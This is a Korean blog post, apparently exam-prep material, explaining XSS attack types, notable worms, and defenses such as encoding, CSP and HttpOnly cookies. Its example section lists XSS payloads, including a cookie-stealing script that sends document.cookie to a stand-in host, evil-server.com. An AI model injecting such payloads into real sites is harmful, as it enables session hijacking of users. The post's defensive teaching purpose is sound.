IT Professional Engineering/SEC

XSS(Cross Site Script): 웹 애플리케이션의 치명적인 보안 취약점

GilliLab IT 2025. 6. 20. 10:34
728x90
반응형

XSS(Cross Site Script): 웹 애플리케이션의 치명적인 보안 취약점

XSS(Cross Site Scripting)는 웹 애플리케이션에서 가장 흔하게 발견되는 보안 취약점 중 하나로, 공격자가 웹 페이지에 악성 스크립트를 삽입하여 사용자의 브라우저에서 실행되게 하는 공격 기법이다. OWASP Top 10에서 지속적으로 상위권에 랭크되는 심각한 보안 위협이다.

XSS의 기본 개념

XSS 공격은 웹 애플리케이션이 사용자로부터 입력받은 데이터를 적절히 검증하거나 인코딩하지 않고 웹 페이지에 포함시킬 때 발생한다. 이러한 취약점을 통해 공격자는 JavaScript, HTML, Flash 등의 클라이언트 측 스크립트를 웹 페이지에 삽입할 수 있다.

  • 공격 대상: 웹 애플리케이션 사용자
  • 공격 목적: 세션 탈취, 악성 코드 배포, 피싱, 사이트 변조 등
  • 실행 환경: 사용자 브라우저

XSS 공격 유형

1. 저장형 XSS (Stored/Persistent XSS)

  • 공격 스크립트가 웹 서버의 데이터베이스에 영구적으로 저장됨
  • 데이터베이스에서 콘텐츠를 불러올 때마다 악성 스크립트가 실행됨
  • 영향력이 가장 큰 XSS 유형
  • 주요 발생 위치: 게시판, 댓글, 사용자 프로필 등
sequenceDiagram
    participant A as 공격자
    participant S as 웹 서버/DB
    participant V as 피해자

    A->>S: 악성 스크립트가 포함된 데이터 저장
    S->>S: 데이터 저장 (검증 없음)
    V->>S: 페이지 요청
    S->>V: 악성 스크립트가 포함된 응답
    Note over V: 브라우저에서 악성 스크립트 실행

2. 반사형 XSS (Reflected XSS)

  • 공격 스크립트가 요청의 일부로 서버에 전송되고 즉시 응답으로 반사됨
  • 주로 URL 파라미터, 폼 제출 등을 통해 발생
  • 일회성 공격이며 피해자가 악성 링크를 클릭해야 함
  • 피싱 이메일이나 소셜 엔지니어링과 결합하여 사용됨
sequenceDiagram
    participant A as 공격자
    participant V as 피해자
    participant S as 웹 서버

    A->>V: 악성 URL 전송 (피싱)
    V->>S: 악성 스크립트가 포함된 요청
    S->>V: 악성 스크립트가 포함된 응답
    Note over V: 브라우저에서 악성 스크립트 실행

3. DOM 기반 XSS (DOM-based XSS)

  • 클라이언트 측 JavaScript에서 발생
  • 서버 응답 HTML은 변경되지 않음
  • 클라이언트 스크립트가 DOM을 안전하지 않게 조작할 때 발생
  • 브라우저의 document.location, document.URL, document.referrer 등의 속성을 통해 주로 발생
sequenceDiagram
    participant A as 공격자
    participant V as 피해자
    participant S as 웹 서버

    A->>V: 악성 URL 전송
    V->>S: 페이지 요청
    S->>V: 일반 HTML/JS 응답
    Note over V: 클라이언트 JS가 URL에서 악성 데이터를 추출
    Note over V: DOM 조작 시 악성 스크립트 실행

XSS 공격 사례 및 영향

사례 1: 트위터 XSS 웜 (2010)

  • 마우스 커서를 올리기만 해도 자동으로 전파되는 웜 발생
  • 수백만 명의 사용자에게 영향을 미침
  • onMouseOver 이벤트를 이용한 공격

사례 2: Samy 웜 (MySpace, 2005)

  • 24시간 만에 100만 명 이상의 사용자를 감염시킨 XSS 웜
  • 사용자 프로필을 통해 전파
  • "Samy is my hero" 문구가 자동으로 추가되는 효과

XSS 공격의 주요 영향

  1. 사용자 세션 탈취 (쿠키 스틸링)
  2. 피싱 공격 수행
  3. 키로깅을 통한 개인정보 탈취
  4. 브라우저 제어권 획득
  5. 사이트 변조 및 콘텐츠 조작
  6. 악성 코드 배포
  7. 웹 애플리케이션 스캐닝 및 내부망 공격

XSS 공격 코드 예시

기본적인 XSS 공격 코드

<script>
  alert("XSS 취약점 발견!");
</script>

쿠키 탈취 예시

<script>
  fetch("https://evil-server.com/steal?cookie=" + document.cookie);
</script>

이벤트 핸들러를 이용한 XSS

<img src="invalid-image" onerror="alert('XSS')" />

인라인 JavaScript 없이 XSS 우회

<div onmouseover="javascript:alert('XSS')">마우스를 올려보세요</div>

CSS를 이용한 XSS

<style>
  @import url("javascript:alert('XSS')");
</style>

XSS 방어 기법

1. 입력 값 검증 (Input Validation)

  • 서버 측에서 모든 사용자 입력을 검증
  • 화이트리스트 방식 적용 (허용된 문자만 수락)
  • 데이터 타입, 길이, 형식, 범위 등 검증

2. 출력 인코딩 (Output Encoding)

  • HTML 컨텍스트: HTML 엔티티 인코딩
    & -> &amp;
    < -> &lt;
    > -> &gt;
    " -> &quot;
    ' -> &#x27;
  • JavaScript 컨텍스트: JavaScript 이스케이프
  • CSS 컨텍스트: CSS 이스케이프
  • URL 컨텍스트: URL 인코딩

3. 컨텐츠 보안 정책 (CSP)

  • 브라우저에게 허용된 리소스 출처를 알려주는 HTTP 헤더
  • 인라인 스크립트 실행 차단
  • 예시:
    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com

4. HttpOnly 쿠키 사용

  • JavaScript를 통한 쿠키 접근 방지
  • 쿠키 탈취 공격으로부터 세션 보호
    Set-Cookie: sessionId=abc123; HttpOnly; Secure

5. X-XSS-Protection 헤더

  • 브라우저의 XSS 필터 활성화
    X-XSS-Protection: 1; mode=block

6. 프레임워크의 보안 기능 활용

  • React, Angular, Vue 등 현대적 프레임워크는 기본적인 XSS 방어 기능 제공
  • 템플릿 엔진의 자동 이스케이프 기능 활용
  • 예: React의 dangerouslySetInnerHTML 사용 지양

XSS 취약점 탐지 방법

1. 정적 분석 (SAST)

  • 소스 코드 분석을 통한 취약점 발견
  • 도구: SonarQube, Checkmarx, Fortify 등

2. 동적 분석 (DAST)

  • 실행 중인 애플리케이션에 대한 공격 시뮬레이션
  • 도구: OWASP ZAP, Burp Suite, Acunetix 등

3. 수동 테스트

  • 웹 페이지의 모든 입력 지점 식별
  • 페이로드 삽입 테스트
  • 응답 검증

4. 자동화된 스캐닝

  • 정기적인 자동 취약점 스캐닝 수행
  • CI/CD 파이프라인에 보안 테스트 통합

정보관리기술사 관점에서의 XSS 대응

정보관리기술사는 조직의 보안 아키텍처 설계 및 관리 책임이 있으므로, XSS 취약점에 대한 종합적인 대응 전략을 수립해야 한다.

  1. 개발 라이프사이클 전체에 보안 통합

    • 설계 단계부터 보안 요구사항 정의
    • 코드 리뷰에 보안 검토 포함
    • 배포 전 보안 테스트 필수화
  2. 개발자 교육 프로그램 운영

    • XSS를 포함한 OWASP Top 10 취약점 교육
    • 안전한 코딩 가이드라인 제공
    • 정기적인 보안 인식 제고 훈련
  3. 다층 방어 전략 구현

    • WAF(웹 애플리케이션 방화벽) 도입
    • 침입 탐지/방지 시스템 구축
    • 실시간 모니터링 및 로깅
  4. 취약점 관리 프로세스 수립

    • 정기적인 취약점 스캐닝
    • 발견된 취약점의 위험도 평가
    • 패치 관리 및 우선순위 설정
  5. 인시던트 대응 계획 수립

    • XSS 공격 발생 시 대응 절차 마련
    • 피해 최소화 및 복구 전략
    • 사후 분석 및 개선 사항 도출

최신 XSS 동향 및 발전 방향

  1. 프레임워크 기반 방어

    • React, Angular 등 현대적 프레임워크는 기본적으로 XSS 방어 제공
    • 템플릿 기반 출력으로 자동 이스케이프 지원
  2. 서버리스 환경에서의 XSS

    • API Gateway, Lambda 등에서의 XSS 방어 필요성 증가
    • 클라우드 네이티브 애플리케이션의 보안 고려사항
  3. CSP 진화

    • nonce 기반 CSP 정책
    • strict-dynamic 지시문 활용
    • 보고 기능 강화
  4. XSS의 새로운 형태

    • HTML5 API를 이용한 공격
    • WebSocket을 통한 XSS
    • 프레임워크 특화 공격 패턴

결론

XSS는 오랜 기간 웹 애플리케이션의 주요 보안 위협으로 존재해왔으며, 기술이 발전함에 따라 공격 방식도 지속적으로 진화하고 있다. 정보관리기술사는 이러한 보안 위협에 대한 깊은 이해를 바탕으로, 조직의 웹 애플리케이션 보안을 강화하기 위한 종합적인 전략을 수립하고 실행해야 한다.

XSS 공격을 효과적으로 방어하기 위해서는 입력 검증, 출력 인코딩, CSP 적용 등의 기술적 대책과 함께, 개발자 교육, 보안 테스트 자동화, 인시던트 대응 계획 등 프로세스적 대책을 균형 있게 적용해야 한다. 특히 DevSecOps 접근 방식을 통해 보안을 개발 라이프사이클 전체에 통합함으로써, 보다 선제적이고 효과적인 XSS 대응이 가능해진다.

Keywords

Cross Site Scripting, XSS, 웹 보안, 클라이언트 사이드 공격, 입력 검증, 출력 인코딩, CSP, 세션 하이재킹, 취약점 분석, 보안 아키텍처

728x90
반응형